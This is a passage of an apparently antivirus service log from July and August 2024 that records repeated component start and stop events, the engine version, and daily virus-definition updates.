210305 2024-07-19 01:19:19 AR2DEV: Stopped 1 2024-07-19 01:19:19 AVAVER: 21.2.2455 AR2: 240711 defs: 24071806 2024-07-19 01:19:20 ARPOT2: Start 3336 2024-07-19 01:19:20 AR2CFG: 240705 2024-07-19 01:19:20 AR2DEV: Start 1 Driver: 210305 2024-07-19 01:19:20 AR2DEV: Stopped 1 2024-07-19 01:19:20 AVAVER: 21.2.2455 AR2: 240711 defs: 24071806 2024-07-19 01:19:20 ARPOT2: Start 4232 2024-07-19 01:19:20 AR2CFG: 240705 2024-07-19 01:19:20 AR2DEV: Start 1 Driver: 210305 2024-07-19 13:20:51 AR2DEV: Stopped 1 2024-07-19 13:20:51 AVAVER: 21.2.2455 AR2: 240711 defs: 24071900 2024-07-19 13:20:51 ARPOT2: Start 1428 2024-07-19 13:20:51 AR2CFG: 240705 2024-07-19 13:20:51 AR2DEV: Start 1 Driver: 210305 2024-07-19 13:20:51 AR2DEV: Stopped 1 2024-07-19 13:20:51 AVAVER: 21.2.2455 AR2: 240711 defs: 24071900 2024-07-19 13:20:51 ARPOT2: Start 6512 2024-07-19 13:20:51 AR2CFG: 240705 2024-07-19 13:20:51 AR2DEV: Start 1 Driver: 210305 2024-07-19 21:18:06 AVAVER: 21.2.2455 AR2: 240711 defs: 24071900 2024-07-19 21:18:06 ARPOT2: Start 3060 2024-07-19 21:18:06 AR2CFG: 240705 2024-07-19 21:18:06 AR2DEV: Start 1 Driver: 210305 2024-07-20 01:18:43 AR2DEV: Stopped 1 2024-07-20 01:18:43 AVAVER: 21.2.2455 AR2: 240711 defs: 24071908 2024-07-20 01:18:43 ARPOT2: Start 3756 2024-07-20 01:18:43 AR2CFG: 240705 2024-07-20 01:18:43 AR2DEV: Start 1 Driver: 210305 2024-07-20 01:18:44 AR2DEV: Stopped 1 2024-07-20 01:18:44 AVAVER: 21.2.2455 AR2: 240711 defs: 24071908 2024-07-20 01:18:44 ARPOT2: Start 252 2024-07-20 01:18:44 AR2CFG: 240705 2024-07-20 01:18:44 AR2DEV: Start 1 Driver: 210305 2024-07-20 05:19:57 AR2DEV: Stopped 1 2024-07-20 05:19:57 AVAVER: 21.2.2455 AR2: 240711 defs: 24071910 2024-07-20 05:19:57 ARPOT2: Start 3304 2024-07-20 05:19:57 AR2CFG: 240705 2024-07-20 05:19:57 AR2DEV: Start 1 Driver: 210305 2024-07-20 05:19:57 AR2DEV: Stopped 1 2024-07-20 05:19:57 AVAVER: 21.2.2455 AR2: 240711 defs: 24071910 2024-07-20 05:19:57 ARPOT2: Start 6668 2024-07-20 05:19:57 AR2CFG: 240705 2024-07-20 05:19:57 AR2DEV: Start 1 Driver: 210305 2024-07-20 17:21:14 AR2DEV: Stopped 1 2024-07-20 17:21:14 AVAVER: 21.2.2455 AR2: 240711 defs: 24072002 2024-07-20 17:21:14 ARPOT2: Start 4916 2024-07-20 17:21:14 AR2CFG: 240705 2024-07-20 17:21:14 AR2DEV: Start 1 Driver: 210305 2024-07-20 17:21:14 AR2DEV: Stopped 1 2024-07-20 17:21:14 AVAVER: 21.2.2455 AR2: 240711 defs: 24072002 2024-07-20 17:21:14 ARPOT2: Start 5516 2024-07-20 17:21:14 AR2CFG: 240705 2024-07-20 17:21:14 AR2DEV: Start 1 Driver: 210305 2024-07-20 21:19:13 AVAVER: 21.2.2455 AR2: 240711 defs: 24072002 2024-07-20 21:19:13 ARPOT2: Start 6804 2024-07-20 21:19:13 AR2CFG: 240705 2024-07-20 21:19:13 AR2DEV: Start 1 Driver: 210305 2024-07-21 21:24:33 AVAVER: 21.2.2455 AR2: 240711 defs: 24072002 2024-07-21 21:24:33 ARPOT2: Start 5952 2024-07-21 21:24:33 AR2CFG: 240705 2024-07-21 21:24:33 AR2DEV: Start 1 Driver: 210305 2024-07-21 21:25:19 AR2DEV: Stopped 1 2024-07-21 21:25:19 AVAVER: 21.2.2455 AR2: 240711 defs: 24072102 2024-07-21 21:25:19 ARPOT2: Start 1812 2024-07-21 21:25:19 AR2CFG: 240705 2024-07-21 21:25:19 AR2DEV: Start 1 Driver: 210305 2024-07-21 21:25:19 AR2DEV: Stopped 1 2024-07-21 21:25:19 AVAVER: 21.2.2455 AR2: 240711 defs: 24072102 2024-07-21 21:25:19 ARPOT2: Start 4856 2024-07-21 21:25:19 AR2CFG: 240705 2024-07-21 21:25:19 AR2DEV: Start 1 Driver: 210305 2024-07-22 01:26:50 AR2DEV: Stopped 1 2024-07-22 01:26:51 AVAVER: 21.2.2455 AR2: 240711 defs: 24072104 2024-07-22 01:26:51 ARPOT2: Start 5720 2024-07-22 01:26:51 AR2CFG: 240705 2024-07-22 01:26:51 AR2DEV: Start 1 Driver: 210305 2024-07-22 01:26:51 AR2DEV: Stopped 1 2024-07-22 01:26:51 AVAVER: 21.2.2455 AR2: 240711 defs: 24072104 2024-07-22 01:26:51 ARPOT2: Start 6540 2024-07-22 01:26:51 AR2CFG: 240705 2024-07-22 01:26:51 AR2DEV: Start 1 Driver: 210305 2024-07-22 13:28:19 AR2DEV: Stopped 1 2024-07-22 13:28:19 AVAVER: 21.2.2455 AR2: 240711 defs: 24072200 2024-07-22 13:28:19 ARPOT2: Start 1880 2024-07-22 13:28:19 AR2CFG: 240705 2024-07-22 13:28:19 AR2DEV: Start 1 Driver: 210305 2024-07-22 13:28:19 AR2DEV: Stopped 1 2024-07-22 13:28:19 AVAVER: 21.2.2455 AR2: 240711 defs: 24072200 2024-07-22 13:28:19 ARPOT2: Start 6612 2024-07-22 13:28:19 AR2CFG: 240705 2024-07-22 13:28:19 AR2DEV: Start 1 Driver: 210305 2024-07-22 21:25:30 AVAVER: 21.2.2455 AR2: 240711 defs: 24072200 2024-07-22 21:25:30 ARPOT2: Start 6940 2024-07-22 21:25:30 AR2CFG: 240705 2024-07-22 21:25:30 AR2DEV: Start 1 Driver: 210305 2024-07-22 21:25:58 AR2DEV: Stopped 1 2024-07-22 21:25:58 AVAVER: 21.2.2455 AR2: 240711 defs: 24072206 2024-07-22 21:25:58 ARPOT2: Start 6796 2024-07-22 21:25:58 AR2CFG: 240705 2024-07-22 21:25:58 AR2DEV: Start 1 Driver: 210305 2024-07-22 21:25:59 AR2DEV: Stopped 1 2024-07-22 21:25:59 AVAVER: 21.2.2455 AR2: 240711 defs: 24072206 2024-07-22 21:25:59 ARPOT2: Start 4800 2024-07-22 21:25:59 AR2CFG: 240705 2024-07-22 21:25:59 AR2DEV: Start 1 Driver: 210305 2024-07-23 01:27:13 AR2DEV: Stopped 1 2024-07-23 01:27:13 AVAVER: 21.2.2455 AR2: 240711 defs: 24072208 2024-07-23 01:27:13 ARPOT2: Start 4620 2024-07-23 01:27:13 AR2CFG: 240705 2024-07-23 01:27:13 AR2DEV: Start 1 Driver: 210305 2024-07-23 01:27:14 AR2DEV: Stopped 1 2024-07-23 01:27:14 AVAVER: 21.2.2455 AR2: 240711 defs: 24072208 2024-07-23 01:27:14 ARPOT2: Start 3636 2024-07-23 01:27:14 AR2CFG: 240705 2024-07-23 01:27:14 AR2DEV: Start 1 Driver: 210305 2024-07-23 21:26:30 AVAVER: 21.2.2455 AR2: 240711 defs: 24072208 2024-07-23 21:26:30 ARPOT2: Start 6952 2024-07-23 21:26:30 AR2CFG: 240705 2024-07-23 21:26:30 AR2DEV: Start 1 Driver: 210305 2024-07-23 21:27:01 AR2DEV: Stopped 1 2024-07-23 21:27:01 AVAVER: 21.2.2455 AR2: 240711 defs: 24072300 2024-07-23 21:27:01 ARPOT2: Start 6492 2024-07-23 21:27:01 AR2CFG: 240705 2024-07-23 21:27:01 AR2DEV: Start 1 Driver: 210305 2024-07-23 21:27:02 AR2DEV: Stopped 1 2024-07-23 21:27:02 AVAVER: 21.2.2455 AR2: 240711 defs: 24072300 2024-07-23 21:27:02 ARPOT2: Start 6788 2024-07-23 21:27:02 AR2CFG: 240705 2024-07-23 21:27:02 AR2DEV: Start 1 Driver: 210305 2024-07-24 01:28:09 AR2DEV: Stopped 1 2024-07-24 01:28:09 AVAVER: 21.2.2455 AR2: 240711 defs: 24072302 2024-07-24 01:28:09 ARPOT2: Start 2520 2024-07-24 01:28:09 AR2CFG: 240705 2024-07-24 01:28:09 AR2DEV: Start 1 Driver: 210305 2024-07-24 01:28:10 AR2DEV: Stopped 1 2024-07-24 01:28:10 AVAVER: 21.2.2455 AR2: 240711 defs: 24072302 2024-07-24 01:28:10 ARPOT2: Start 1452 2024-07-24 01:28:10 AR2CFG: 240705 2024-07-24 01:28:10 AR2DEV: Start 1 Driver: 210305 2024-07-24 21:27:36 AVAVER: 21.2.2455 AR2: 240711 defs: 24072302 2024-07-24 21:27:36 ARPOT2: Start 3280 2024-07-24 21:27:36 AR2CFG: 240705 2024-07-24 21:27:36 AR2DEV: Start 1 Driver: 210305 2024-07-24 21:28:08 AR2DEV: Stopped 1 2024-07-24 21:28:08 AVAVER: 21.2.2455 AR2: 240711 defs: 24072404 2024-07-24 21:28:08 ARPOT2: Start 6376 2024-07-24 21:28:08 AR2CFG: 240705 2024-07-24 21:28:08 AR2DEV: Start 1 Driver: 210305 2024-07-24 21:28:09 AR2DEV: Stopped 1 2024-07-24 21:28:09 AVAVER: 21.2.2455 AR2: 240711 defs: 24072404 2024-07-24 21:28:09 ARPOT2: Start 7076 2024-07-24 21:28:09 AR2CFG: 240705 2024-07-24 21:28:09 AR2DEV: Start 1 Driver: 210305 2024-07-25 01:29:39 AR2DEV: Stopped 1 2024-07-25 01:29:40 AVAVER: 21.2.2455 AR2: 240711 defs: 24072406 2024-07-25 01:29:40 ARPOT2: Start 6432 2024-07-25 01:29:40 AR2CFG: 240705 2024-07-25 01:29:40 AR2DEV: Start 1 Driver: 210305 2024-07-25 01:29:40 AR2DEV: Stopped 1 2024-07-25 01:29:40 AVAVER: 21.2.2455 AR2: 240711 defs: 24072406 2024-07-25 01:29:40 ARPOT2: Start 5872 2024-07-25 01:29:40 AR2CFG: 240705 2024-07-25 01:29:40 AR2DEV: Start 1 Driver: 210305 2024-07-25 13:30:58 AR2DEV: Stopped 1 2024-07-25 13:30:58 AVAVER: 21.2.2455 AR2: 240711 defs: 24072500 2024-07-25 13:30:58 ARPOT2: Start 6148 2024-07-25 13:30:58 AR2CFG: 240705 2024-07-25 13:30:58 AR2DEV: Start 1 Driver: 210305 2024-07-25 13:30:58 AR2DEV: Stopped 1 2024-07-25 13:30:58 AVAVER: 21.2.2455 AR2: 240711 defs: 24072500 2024-07-25 13:30:58 ARPOT2: Start 4736 2024-07-25 13:30:58 AR2CFG: 240705 2024-07-25 13:30:58 AR2DEV: Start 1 Driver: 210305 2024-07-25 21:28:36 AVAVER: 21.2.2455 AR2: 240711 defs: 24072500 2024-07-25 21:28:36 ARPOT2: Start 1684 2024-07-25 21:28:36 AR2CFG: 240705 2024-07-25 21:28:36 AR2DEV: Start 1 Driver: 210305 2024-07-26 21:31:28 AVAVER: 21.2.2455 AR2: 240711 defs: 24072500 2024-07-26 21:31:28 ARPOT2: Start 4424 2024-07-26 21:31:28 AR2CFG: 240705 2024-07-26 21:31:28 AR2DEV: Start 1 Driver: 210305 2024-07-26 21:32:15 AR2DEV: Stopped 1 2024-07-26 21:32:15 AVAVER: 21.2.2455 AR2: 240711 defs: 24072602 2024-07-26 21:32:15 ARPOT2: Start 6980 2024-07-26 21:32:15 AR2CFG: 240705 2024-07-26 21:32:16 AR2DEV: Start 1 Driver: 210305 2024-07-26 21:32:16 AR2DEV: Stopped 1 2024-07-26 21:32:16 AVAVER: 21.2.2455 AR2: 240711 defs: 24072602 2024-07-26 21:32:16 ARPOT2: Start 2460 2024-07-26 21:32:16 AR2CFG: 240705 2024-07-26 21:32:16 AR2DEV: Start 1 Driver: 210305 2024-07-27 09:34:05 AR2DEV: Stopped 1 2024-07-27 09:34:05 AVAVER: 21.2.2455 AR2: 240711 defs: 24072604 2024-07-27 09:34:05 ARPOT2: Start 3988 2024-07-27 09:34:05 AR2CFG: 240705 2024-07-27 09:34:05 AR2DEV: Start 1 Driver: 210305 2024-07-27 09:34:05 AR2DEV: Stopped 1 2024-07-27 09:34:05 AVAVER: 21.2.2455 AR2: 240711 defs: 24072604 2024-07-27 09:34:05 ARPOT2: Start 1800 2024-07-27 09:34:05 AR2CFG: 240705 2024-07-27 09:34:05 AR2DEV: Start 1 Driver: 210305 2024-07-27 13:35:11 AR2DEV: Stopped 1 2024-07-27 13:35:11 AVAVER: 21.2.2455 AR2: 240711 defs: 24072700 2024-07-27 13:35:11 ARPOT2: Start 796 2024-07-27 13:35:11 AR2CFG: 240705 2024-07-27 13:35:11 AR2DEV: Start 1 Driver: 210305 2024-07-27 13:35:12 AR2DEV: Stopped 1 2024-07-27 13:35:12 AVAVER: 21.2.2455 AR2: 240711 defs: 24072700 2024-07-27 13:35:12 ARPOT2: Start 6500 2024-07-27 13:35:12 AR2CFG: 240705 2024-07-27 13:35:12 AR2DEV: Start 1 Driver: 210305 2024-07-27 21:32:29 AVAVER: 21.2.2455 AR2: 240711 defs: 24072700 2024-07-27 21:32:29 ARPOT2: Start 6524 2024-07-27 21:32:29 AR2CFG: 240705 2024-07-27 21:32:29 AR2DEV: Start 1 Driver: 210305 2024-07-27 21:32:58 AR2DEV: Stopped 1 2024-07-27 21:32:58 AVAVER: 21.2.2455 AR2: 240711 defs: 24072702 2024-07-27 21:32:58 ARPOT2: Start 5068 2024-07-27 21:32:58 AR2CFG: 240705 2024-07-27 21:32:58 AR2DEV: Start 1 Driver: 210305 2024-07-27 21:32:58 AR2DEV: Stopped 1 2024-07-27 21:32:58 AVAVER: 21.2.2455 AR2: 240711 defs: 24072702 2024-07-27 21:32:58 ARPOT2: Start 7048 2024-07-27 21:32:58 AR2CFG: 240705 2024-07-27 21:32:58 AR2DEV: Start 1 Driver: 210305 2024-07-28 01:34:01 AR2DEV: Stopped 1 2024-07-28 01:34:01 AVAVER: 21.2.2455 AR2: 240711 defs: 24072704 2024-07-28 01:34:01 ARPOT2: Start 5296 2024-07-28 01:34:01 AR2CFG: 240705 2024-07-28 01:34:01 AR2DEV: Start 1 Driver: 210305 2024-07-28 01:34:01 AR2DEV: Stopped 1 2024-07-28 01:34:01 AVAVER: 21.2.2455 AR2: 240711 defs: 24072704 2024-07-28 01:34:01 ARPOT2: Start 1492 2024-07-28 01:34:01 AR2CFG: 240705 2024-07-28 01:34:01 AR2DEV: Start 1 Driver: 210305 2024-07-28 13:35:33 AR2DEV: Stopped 1 2024-07-28 13:35:33 AVAVER: 21.2.2455 AR2: 240711 defs: 24072800 2024-07-28 13:35:33 ARPOT2: Start 6296 2024-07-28 13:35:33 AR2CFG: 240705 2024-07-28 13:35:33 AR2DEV: Start 1 Driver: 210305 2024-07-28 13:35:33 AR2DEV: Stopped 1 2024-07-28 13:35:33 AVAVER: 21.2.2455 AR2: 240711 defs: 24072800 2024-07-28 13:35:33 ARPOT2: Start 4392 2024-07-28 13:35:33 AR2CFG: 240705 2024-07-28 13:35:33 AR2DEV: Start 1 Driver: 210305 2024-07-28 21:33:37 AVAVER: 21.2.2455 AR2: 240711 defs: 24072800 2024-07-28 21:33:37 ARPOT2: Start 4436 2024-07-28 21:33:37 AR2CFG: 240705 2024-07-28 21:33:37 AR2DEV: Start 1 Driver: 210305 2024-07-28 21:34:07 AR2DEV: Stopped 1 2024-07-28 21:34:07 AVAVER: 21.2.2455 AR2: 240711 defs: 24072804 2024-07-28 21:34:07 ARPOT2: Start 3376 2024-07-28 21:34:07 AR2CFG: 240705 2024-07-28 21:34:07 AR2DEV: Start 1 Driver: 210305 2024-07-28 21:34:09 AR2DEV: Stopped 1 2024-07-28 21:34:09 AVAVER: 21.2.2455 AR2: 240711 defs: 24072804 2024-07-28 21:34:09 ARPOT2: Start 6404 2024-07-28 21:34:09 AR2CFG: 240705 2024-07-28 21:34:09 AR2DEV: Start 1 Driver: 210305 2024-07-29 01:35:18 AR2DEV: Stopped 1 2024-07-29 01:35:18 AVAVER: 21.2.2455 AR2: 240711 defs: 24072806 2024-07-29 01:35:18 ARPOT2: Start 1752 2024-07-29 01:35:18 AR2CFG: 240705 2024-07-29 01:35:18 AR2DEV: Start 1 Driver: 210305 2024-07-29 01:35:18 AR2DEV: Stopped 1 2024-07-29 01:35:18 AVAVER: 21.2.2455 AR2: 240711 defs: 24072806 2024-07-29 01:35:18 ARPOT2: Start 3640 2024-07-29 01:35:18 AR2CFG: 240705 2024-07-29 01:35:19 AR2DEV: Start 1 Driver: 210305 2024-07-29 13:36:29 AR2DEV: Stopped 1 2024-07-29 13:36:29 AVAVER: 21.2.2455 AR2: 240711 defs: 24072900 2024-07-29 13:36:29 ARPOT2: Start 7048 2024-07-29 13:36:29 AR2CFG: 240705 2024-07-29 13:36:29 AR2DEV: Start 1 Driver: 210305 2024-07-29 13:36:29 AR2DEV: Stopped 1 2024-07-29 13:36:29 AVAVER: 21.2.2455 AR2: 240711 defs: 24072900 2024-07-29 13:36:29 ARPOT2: Start 2080 2024-07-29 13:36:29 AR2CFG: 240705 2024-07-29 13:36:29 AR2DEV: Start 1 Driver: 210305 2024-07-29 21:34:32 AVAVER: 21.2.2455 AR2: 240711 defs: 24072900 2024-07-29 21:34:33 ARPOT2: Start 6760 2024-07-29 21:34:33 AR2CFG: 240705 2024-07-29 21:34:33 AR2DEV: Start 1 Driver: 210305 2024-07-30 01:35:12 AR2DEV: Stopped 1 2024-07-30 01:35:12 AVAVER: 21.2.2455 AR2: 240711 defs: 24072906 2024-07-30 01:35:12 ARPOT2: Start 6692 2024-07-30 01:35:12 AR2CFG: 240705 2024-07-30 01:35:12 AR2DEV: Start 1 Driver: 210305 2024-07-30 01:35:13 AR2DEV: Stopped 1 2024-07-30 01:35:13 AVAVER: 21.2.2455 AR2: 240711 defs: 24072906 2024-07-30 01:35:13 ARPOT2: Start 6012 2024-07-30 01:35:13 AR2CFG: 240705 2024-07-30 01:35:13 AR2DEV: Start 1 Driver: 210305 2024-07-30 20:35:30 AVAVER: 21.2.2455 AR2: 240711 defs: 24072906 2024-07-30 20:35:30 ARPOT2: Start 5200 2024-07-30 20:35:30 AR2CFG: 240705 2024-07-30 20:35:30 AR2DEV: Start 1 Driver: 210305 2024-07-30 20:36:27 AR2DEV: Stopped 1 2024-07-30 20:36:28 AVAVER: 21.2.2455 AR2: 240711 defs: 24073004 2024-07-30 20:36:28 ARPOT2: Start 5476 2024-07-30 20:36:28 AR2CFG: 240705 2024-07-30 20:36:28 AR2DEV: Start 1 Driver: 210305 2024-07-30 20:36:28 AR2DEV: Stopped 1 2024-07-30 20:36:28 AVAVER: 21.2.2455 AR2: 240711 defs: 24073004 2024-07-30 20:36:28 ARPOT2: Start 6704 2024-07-30 20:36:28 AR2CFG: 240705 2024-07-30 20:36:28 AR2DEV: Start 1 Driver: 210305 2024-07-30 21:37:36 AVAVER: 21.2.2455 AR2: 240711 defs: 24073004 2024-07-30 21:37:36 ARPOT2: Start 4332 2024-07-30 21:37:36 AR2CFG: 240705 2024-07-30 21:37:36 AR2DEV: Start 1 Driver: 210305 2024-07-31 05:38:41 AR2DEV: Stopped 1 2024-07-31 05:38:42 AVAVER: 21.2.2455 AR2: 240711 defs: 24073010 2024-07-31 05:38:42 ARPOT2: Start 7052 2024-07-31 05:38:42 AR2CFG: 240705 2024-07-31 05:38:42 AR2DEV: Start 1 Driver: 210305 2024-07-31 05:38:43 AR2DEV: Stopped 1 2024-07-31 05:38:43 AVAVER: 21.2.2455 AR2: 240711 defs: 24073010 2024-07-31 05:38:43 ARPOT2: Start 4504 2024-07-31 05:38:43 AR2CFG: 240705 2024-07-31 05:38:43 AR2DEV: Start 1 Driver: 210305 2024-07-31 17:40:09 AR2DEV: Stopped 1 2024-07-31 17:40:09 AVAVER: 21.2.2455 AR2: 240711 defs: 24073102 2024-07-31 17:40:09 ARPOT2: Start 3748 2024-07-31 17:40:09 AR2CFG: 240705 2024-07-31 17:40:09 AR2DEV: Start 1 Driver: 210305 2024-07-31 17:40:09 AR2DEV: Stopped 1 2024-07-31 17:40:09 AVAVER: 21.2.2455 AR2: 240711 defs: 24073102 2024-07-31 17:40:09 ARPOT2: Start 6508 2024-07-31 17:40:09 AR2CFG: 240705 2024-07-31 17:40:09 AR2DEV: Start 1 Driver: 210305 2024-07-31 21:38:40 AVAVER: 21.2.2455 AR2: 240711 defs: 24073102 2024-07-31 21:38:40 ARPOT2: Start 4800 2024-07-31 21:38:40 AR2CFG: 240705 2024-07-31 21:38:40 AR2DEV: Start 1 Driver: 210305 2024-08-01 01:39:21 AR2DEV: Stopped 1 2024-08-01 01:39:21 AVAVER: 21.2.2455 AR2: 240711 defs: 24073106 2024-08-01 01:39:21 ARPOT2: Start 6220 2024-08-01 01:39:21 AR2CFG: 240705 2024-08-01 01:39:22 AR2DEV: Start 1 Driver: 210305 2024-08-01 01:39:22 AR2DEV: Stopped 1 2024-08-01 01:39:22 AVAVER: 21.2.2455 AR2: 240711 defs: 24073106 2024-08-01 01:39:22 ARPOT2: Start 6468 2024-08-01 01:39:22 AR2CFG: 240705 2024-08-01 01:39:22 AR2DEV: Start 1 Driver: 210305 2024-08-01 17:40:44 AR2DEV: Stopped 1 2024-08-01 17:40:44 AVAVER: 21.2.2455 AR2: 240711 defs: 24080102 2024-08-01 17:40:44 ARPOT2: Start 6288 2024-08-01 17:40:44 AR2CFG: 240705 2024-08-01 17:40:44 AR2DEV: Start 1 Driver: 210305 2024-08-01 17:40:45 AR2DEV: Stopped 1 2024-08-01 17:40:45 AVAVER: 21.2.2455 AR2: 240711 defs: 24080102 2024-08-01 17:40:45 ARPOT2: Start 5456 2024-08-01 17:40:45 AR2CFG: 240705 2024-08-01 17:40:45 AR2DEV: Start 1 Driver: 210305 2024-08-01 21:39:47 AVAVER: 21.2.2455 AR2: 240711 defs: 24080102 2024-08-01 21:39:47 ARPOT2: Start 1684 2024-08-01 21:39:47 AR2CFG: 240705 2024-08-01 21:39:47 AR2DEV: Start 1 Driver: 210305 2024-08-02 21:42:46 AVAVER: 21.2.2455 AR2: 240711 defs: 24080102 2024-08-02 21:42:46 ARPOT2: Start 6164 2024-08-02 21:42:46 AR2CFG: 240705 2024-08-02 21:42:46 AR2DEV: Start 1 Driver: 210305 2024-08-02 21:43:34 AR2DEV: Stopped 1 2024-08-02 21:43:34 AVAVER: 21.2.2455 AR2: 240731 defs: 24080202 2024-08-02 21:43:34 ARPOT2: Start 6876 2024-08-02 21:43:34 AR2CFG: 240731 2024-08-02 21:43:34 AR2DEV: Start 1 Driver: 210305 2024-08-02 21:43:34 AR2DEV: Stopped 1 2024-08-02 21:43:34 AVAVER: 21.2.2455 AR2: 240731 defs: 24080202 2024-08-02 21:43:34 ARPOT2: Start 5092 2024-08-02 21:43:34 AR2CFG: 240731 2024-08-02 21:43:34 AR2DEV: Start 1 Driver: 210305 2024-08-03 01:45:01 AR2DEV: Stopped 1 2024-08-03 01:45:01 AVAVER: 21.2.2455 AR2: 240731 defs: 24080204 2024-08-03 01:45:01 ARPOT2: Start 6936 2024-08-03 01:45:01 AR2CFG: 240731 2024-08-03 01:45:01 AR2DEV: Start 1 Driver: 210305 2024-08-03 01:45:01 AR2DEV: Stopped 1 2024-08-03 01:45:01 AVAVER: 21.2.2455 AR2: 240731 defs: 24080204 2024-08-03 01:45:01 ARPOT2: Start 5304 2024-08-03 01:45:01 AR2CFG: 240731 2024-08-03 01:45:01 AR2DEV: Start 1 Driver: 210305 2024-08-03 21:43:47 AVAVER: 21.2.2455 AR2: 240731 defs: 24080204 2024-08-03 21:43:47 ARPOT2: Start 6644 2024-08-03 21:43:47 AR2CFG: 240731 2024-08-03 21:43:47 AR2DEV: Start 1 Driver: 210305 2024-08-04 21:44:56 AVAVER: 21.2.2455 AR2: 240731 defs: 24080204 2024-08-04 21:44:56 ARPOT2: Start 5408 2024-08-04 21:44:56 AR2CFG: 240731 2024-08-04 21:44:56 AR2DEV: Start 1 Driver: 210305 2024-08-05 21:45:52 AVAVER: 21.2.2455 AR2: 240731 defs: 24080204 2024-08-05 21:45:52 ARPOT2: Start 2664 2024-08-05 21:45:52 AR2CFG: 240731 2024-08-05 21:45:52 AR2DEV: Start 1 Driver: 210305 2024-08-06 05:46:41 AR2DEV: Stopped 1 2024-08-06 05:46:41 AVAVER: 21.2.2455 AR2: 240731 defs: 24080510 2024-08-06 05:46:41 ARPOT2: Start 1300 2024-08-06 05:46:41 AR2CFG: 240731 2024-08-06 05:46:41 AR2DEV: Start 1 Driver: 210305 2024-08-06 05:46:43 AR2DEV: Stopped 1 2024-08-06 05:46:43 AVAVER: 21.2.2455 AR2: 240731 defs: 24080510 2024-08-06 05:46:43 ARPOT2: Start 5144 2024-08-06 05:46:43 AR2CFG: 240731 2024-08-06 05:46:43 AR2DEV: Start 1 Driver: 210305 2024-08-06 09:48:00 AR2DEV: Stopped 1 2024-08-06 09:48:00 AVAVER: 21.2.2455 AR2: 240731 defs: 24080512 2024-08-06 09:48:00 ARPOT2: Start 2692 2024-08-06 09:48:00 AR2CFG: 240731 2024-08-06 09:48:00 AR2DEV: Start 1 Driver: 210305 2024-08-06 09:48:01 AR2DEV: Stopped 1 2024-08-06 09:48:01 AVAVER: 21.2.2455 AR2: 240731 defs: 24080512 2024-08-06 09:48:01 ARPOT2: Start 6552 2024-08-06 09:48:01 AR2CFG: 240731 2024-08-06 09:48:01 AR2DEV: Start 1 Driver: 210305 2024-08-06 21:46:55 AVAVER: 21.2.2455 AR2: 240731 defs: 24080512 2024-08-06 21:46:55 ARPOT2: Start 5524 2024-08-06 21:46:55 AR2CFG: 240731 2024-08-06 21:46:55 AR2DEV: Start 1 Driver: 210305 2024-08-07 21:48:14 AVAVER: 21.2.2455 AR2: 240731 defs: 24080512 2024-08-07 21:48:14 ARPOT2: Start 6492 2024-08-07 21:48:14 AR2CFG: 240731 2024-08-07 21:48:15 AR2DEV: Start 1 Driver: 210305 2024-08-07 21:48:22 AR2DEV: Stopped 1 2024-08-07 21:48:24 AVAVER: 21.2.2455 AR2: 240731 defs: 24080710 2024-08-07 21:48:24 ARPOT2: Start 5068 2024-08-07 21:48:24 AVAVER: 21.2.2455 AR2: 240731 defs: 24080710 2024-08-07 21:48:24 ARPOT2: Start 6296 2024-08-07 21:48:24 AR2CFG: 240731 2024-08-07 21:48:24 AR2DEV: Start 1 Driver: 210305 2024-08-08 01:49:08 AR2DEV: Stopped 1 2024-08-08 01:49:08 AVAVER: 21.2.2455 AR2: 240731 defs: 24080712 2024-08-08 01:49:08 ARPOT2: Start 1832 2024-08-08 01:49:08 AR2CFG: 240731 2024-08-08 01:49:08 AR2DEV: Start 1 Driver: 210305 2024-08-08 01:49:09 AR2DEV: Stopped 1 2024-08-08 01:49:09 AVAVER: 21.2.2455 AR2: 240731 defs: 24080712 2024-08-08 01:49:09 ARPOT2: Start 4580 2024-08-08 01:49:09 AR2CFG: 240731 2024-08-08 01:49:09 AR2DEV: Start 1 Driver: 210305 2024-08-08 13:50:41 AR2DEV: Stopped 1 2024-08-08 13:50:41 AVAVER: 21.2.2455 AR2: 240731 defs: 24080800 2024-08-08 13:50:41 ARPOT2: Start 820 2024-08-08 13:50:41 AR2CFG: 240731 2024-08-08 13:50:41 AR2DEV: Start 1 Driver: 210305 2024-08-08 13:50:41 AR2DEV: Stopped 1 2024-08-08 13:50:41 AVAVER: 21.2.2455 AR2: 240731 defs: 24080800 2024-08-08 13:50:41 ARPOT2: Start 2128 2024-08-08 13:50:41 AR2CFG: 240731 2024-08-08 13:50:41 AR2DEV: Start 1 Driver: 210305 2024-08-08 21:49:31 AVAVER: 21.2.2455 AR2: 240731 defs: 24080800 2024-08-08 21:49:32 ARPOT2: Start 6724 2024-08-08 21:49:32 AR2CFG: 240731 2024-08-08 21:49:32 AR2DEV: Start 1 Driver: 210305 2024-08-09 21:53:16 AVAVER: 21.2.2455 AR2: 240731 defs: 24080800 2024-08-09 21:53:16 ARPOT2: Start 7868 2024-08-09 21:53:16 AR2CFG: 240731 2024-08-09 21:53:16 AR2DEV: Start 1 Driver: 210305 2024-08-10 21:57:19 AVAVER: 21.2.2455 AR2: 240731 defs: 24080800 2024-08-10 21:57:19 ARPOT2: Start 6004 2024-08-10 21:57:19 AR2CFG: 240731 2024-08-10 21:57:19 AR2DEV: Start 1 Driver: 210305 2024-08-10 21:58:35 AR2DEV: Stopped 1 2024-08-10 21:58:35 AVAVER: 21.2.2455 AR2: 240802 defs: 24081002 2024-08-10 21:58:35 ARPOT2: Start 5796 2024-08-10 21:58:35 AR2CFG: 240802 2024-08-10 21:58:35 AR2DEV: Start 1 Driver: 210305 2024-08-10 21:58:36 AR2DEV: Stopped 1 2024-08-10 21:58:36 AVAVER: 21.2.2455 AR2: 240802 defs: 24081002 2024-08-10 21:58:36 ARPOT2: Start 6732 2024-08-10 21:58:36 AR2CFG: 240802 2024-08-10 21:58:36 AR2DEV: Start 1 Driver: 210305 2024-08-11 02:00:38 AR2DEV: Stopped 1 2024-08-11 02:00:39 AVAVER: 21.2.2455 AR2: 240802 defs: 24081004 2024-08-11 02:00:39 ARPOT2: Start 7328 2024-08-11 02:00:39 AR2CFG: 240802 2024-08-11 02:00:39 AR2DEV: Start 1 Driver: 210305 2024-08-11 02:00:39 AR2DEV: Stopped 1 2024-08-11 02:00:39 AVAVER: 21.2.2455 AR2: 240802 defs: 24081004 2024-08-11 02:00:39 ARPOT2: Start 2064 2024-08-11 02:00:39 AR2CFG: 240802 2024-08-11 02:00:39 AR2DEV: Start 1 Driver: 210305 2024-08-11 18:02:02 AR2DEV: Stopped 1 2024-08-11 18:02:02 AVAVER: 21.2.2455 AR2: 240802 defs: 24081100 2024-08-11 18:02:02 ARPOT2: Start 8012 2024-08-11 18:02:02 AR2CFG: 240802 